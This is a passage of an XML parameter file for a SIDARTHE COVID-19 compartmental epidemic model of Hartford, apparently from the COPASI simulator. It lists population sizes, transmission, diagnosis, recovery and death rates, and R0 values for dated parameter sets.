<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[r5]" value="0.13843652354598451" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[Perceived CFR]" value="0" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[CFR]" value="0" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[R0]" value="4.5000000016778792" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[gamma_pop]" value="1.2595639385562852e-07" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[Population]" value="3572665" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[alpha_pop]" value="2.5191278771125704e-07" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[beta_pop]" value="5.0382557542251408e-09" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[delta_pop]" value="7.5573836313377103e-09" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[scale]" value="0.78222655465241187" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[f_epsilon]" value="0.29999999999999999" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[f_theta]" value="0.0054878294478546081" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[f_mu]" value="0.059999999999999998" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[f_nu]" value="0.059999999999999998" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[day8x]" value="0.99550677158092238" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[day15x]" value="0.67480386750285826" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[f_lambda]" value="0.22155041982369297" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[f_kappa]" value="0.11077520991184649" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[f_sigma]" value="0.11077520991184649" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[f_xi]" value="0.11077520991184649" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[f_rho]" value="0.22155041982369297" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[Tpeak]" value="-1" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[Tpeaktime]" value="-1" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[New cases]" value="0.8999997477956504" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[New diagnosed]" value="0" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[Tnonew]" value="-1" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[Tot_reduction]" value="0.67177181958809096" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[ImmuneRatio]" value="0" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[ApplyRelaxationMay1]" value="0" type="ModelValue" simulationType="fixed"/>
</ModelParameterGroup>
<ModelParameterGroup cn="String=Kinetic Parameters" type="Group">
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[contagion_I]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[contagion_I],ParameterGroup=Parameters,Parameter=k1" value="2.5191278771125704e-07" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[alpha_pop],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[contagion_D]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[contagion_D],ParameterGroup=Parameters,Parameter=k1" value="5.0382557542251408e-09" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[beta_pop],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[contagion_A]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[contagion_A],ParameterGroup=Parameters,Parameter=k1" value="1.2595639385562852e-07" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[gamma_pop],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[contagion_R]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[contagion_R],ParameterGroup=Parameters,Parameter=k1" value="7.5573836313377103e-09" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[delta_pop],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[diagnosis_I]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[diagnosis_I],ParameterGroup=Parameters,Parameter=k1" value="0" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[epsilon],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[symptoms_I]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[symptoms_I],ParameterGroup=Parameters,Parameter=k1" value="0.59999999996170328" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[zeta],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[symptoms_D]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[symptoms_D],ParameterGroup=Parameters,Parameter=k1" value="0.59999999996170328" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[eta],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[diagnosis_A]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[diagnosis_A],ParameterGroup=Parameters,Parameter=k1" value="0.0037400911759613432" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[theta],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[critical_A]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[critical_A],ParameterGroup=Parameters,Parameter=k1" value="0.070000000002386181" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[mu],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[critical_R]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[critical_R],ParameterGroup=Parameters,Parameter=k1" value="0.070000000002386181" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[nu],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[death]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[death],ParameterGroup=Parameters,Parameter=k1" value="0.043104501542407303" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[tau],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[healing_I]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[healing_I],ParameterGroup=Parameters,Parameter=k1" value="0.31706556219183368" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[lambda],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[healing_D]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[healing_D],ParameterGroup=Parameters,Parameter=k1" value="0.31706556219183368" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[rho],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[healing_A]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[healing_A],ParameterGroup=Parameters,Parameter=k1" value="0.01" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[kappa],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[healing_R]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[healing_R],ParameterGroup=Parameters,Parameter=k1" value="0.2156508570673327" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[xi],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[healing_T]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[healing_T],ParameterGroup=Parameters,Parameter=k1" value="0.095332022003577196" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[sigma],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
</ModelParameterGroup>
</ModelParameterSet>
<ModelParameterSet key="ModelParameterSet_25" name="Model6 - 4/27 Hartford">
<MiriamAnnotation>
<rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#ModelParameterSet_25">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-04-29T01:31:59Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
<ModelParameterGroup cn="String=Initial Time" type="Group">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6" value="0" type="Model" simulationType="time"/>
</ModelParameterGroup>
<ModelParameterGroup cn="String=Initial Compartment Sizes" type="Group">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment]" value="1" type="Compartment" simulationType="fixed"/>
</ModelParameterGroup>
<ModelParameterGroup cn="String=Initial Species Values" type="Group">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[I]" value="0" type="Species" simulationType="reactions"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[S]" value="894014" type="Species" simulationType="reactions">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[Population],Reference=InitialValue>-<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[I],Reference=InitialConcentration>-<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[D],Reference=InitialConcentration>-<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[A],Reference=InitialConcentration>-<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[R],Reference=InitialConcentration>-<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[T],Reference=InitialConcentration>-<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[E],Reference=InitialConcentration>-<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[UCH],Reference=InitialConcentration>
</InitialExpression>
</ModelParameter>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[D]" value="0" type="Species" simulationType="reactions"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[A]" value="0" type="Species" simulationType="reactions"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[R]" value="0" type="Species" simulationType="reactions"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[T]" value="0" type="Species" simulationType="reactions"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[E]" value="0" type="Species" simulationType="reactions"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[H]" value="0" type="Species" simulationType="reactions"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[UCH]" value="0" type="Species" simulationType="reactions"/>
</ModelParameterGroup>
<ModelParameterGroup cn="String=Initial Global Quantities" type="Group">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[alpha]" value="0.89999999970843814" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[beta]" value="0.017999999994168764" type="ModelValue" simulationType="fixed">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[alpha],Reference=InitialValue>*0.02
</InitialExpression>
</ModelParameter>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[gamma]" value="0.44999999985421907" type="ModelValue" simulationType="fixed">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[alpha],Reference=InitialValue>*0.5
</InitialExpression>
</ModelParameter>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[delta]" value="0.026999999991253142" type="ModelValue" simulationType="fixed">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[alpha],Reference=InitialValue>*0.03
</InitialExpression>
</ModelParameter>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[epsilon]" value="0" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[zeta]" value="0.59999999996170328" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[eta]" value="0.59999999996170328" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[theta]" value="0.00299207294076907" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[kappa]" value="0.01" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[lambda]" value="0.31706556219183368" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[mu]" value="0.070000000002386181" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[nu]" value="0.070000000002386181" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[xi]" value="0.2156508570673327" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[rho]" value="0.31706556219183368" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[sigma]" value="0.095332022003577196" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[tau]" value="0.051725401850888801" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[DRT]" value="0" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[IDARTHE]" value="0" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[IDART]" value="0" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[Recovered]" value="0" type="ModelValue" simulationType="ode"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[Diagnosed Cumulative infected]" value="0" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[r1]" value="0.91706556215353696" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[r2]" value="0.91706556215353696" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[r3]" value="0.082992072943155248" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[r4]" value="0.28565085706971888" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[r5]" value="0.14705742385446599" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[Perceived CFR]" value="0" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[CFR]" value="0" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[R0]" value="4.5311562921747859" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[gamma_pop]" value="5.0334782213054721e-07" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[Population]" value="894014" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[alpha_pop]" value="1.0066956442610944e-06" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[beta_pop]" value="2.0133912885221893e-08" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[delta_pop]" value="3.0200869327832834e-08" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[scale]" value="0.78222655465241187" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[f_epsilon]" value="0.29999999999999999" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[f_theta]" value="0.0054878294478546081" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[f_mu]" value="0.059999999999999998" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[f_nu]" value="0.059999999999999998" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[day8x]" value="1" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[day15x]" value="0.64906638845583053" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[f_lambda]" value="0.22155041982369297" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[f_kappa]" value="0.11077520991184649" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[f_sigma]" value="0.11077520991184649" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[f_xi]" value="0.11077520991184649" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[f_rho]" value="0.22155041982369297" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[Tpeak]" value="-1" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[Tpeaktime]" value="-1" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[New cases]" value="0" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[New diagnosed]" value="0" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[Tnonew]" value="-1" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[Tot_reduction]" value="0.64906638845583053" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[ImmuneRatio]" value="0" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[ApplyRelaxationMay1]" value="0" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[mu_UCH]" value="0.0082117497220399009" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[Total_Hospitalized]" value="0" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[ZeroDay]" value="3.5674816571616477" type="ModelValue" simulationType="fixed"/>
</ModelParameterGroup>
<ModelParameterGroup cn="String=Kinetic Parameters" type="Group">
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[contagion_I]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[contagion_I],ParameterGroup=Parameters,Parameter=k1" value="1.0066956442610944e-06" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[alpha_pop],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[contagion_D]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[contagion_D],ParameterGroup=Parameters,Parameter=k1" value="2.0133912885221893e-08" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[beta_pop],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[contagion_A]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[contagion_A],ParameterGroup=Parameters,Parameter=k1" value="5.0334782213054721e-07" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[gamma_pop],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[contagion_R]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[contagion_R],ParameterGroup=Parameters,Parameter=k1" value="3.0200869327832834e-08" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[delta_pop],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[diagnosis_I]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[diagnosis_I],ParameterGroup=Parameters,Parameter=k1" value="0" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[epsilon],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[symptoms_I]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[symptoms_I],ParameterGroup=Parameters,Parameter=k1" value="0.59999999996170328" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[zeta],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[symptoms_D]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[symptoms_D],ParameterGroup=Parameters,Parameter=k1" value="0.59999999996170328" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[eta],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[diagnosis_A]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[diagnosis_A],ParameterGroup=Parameters,Parameter=k1" value="0.00299207294076907" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[theta],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[critical_A]" type="Reaction">
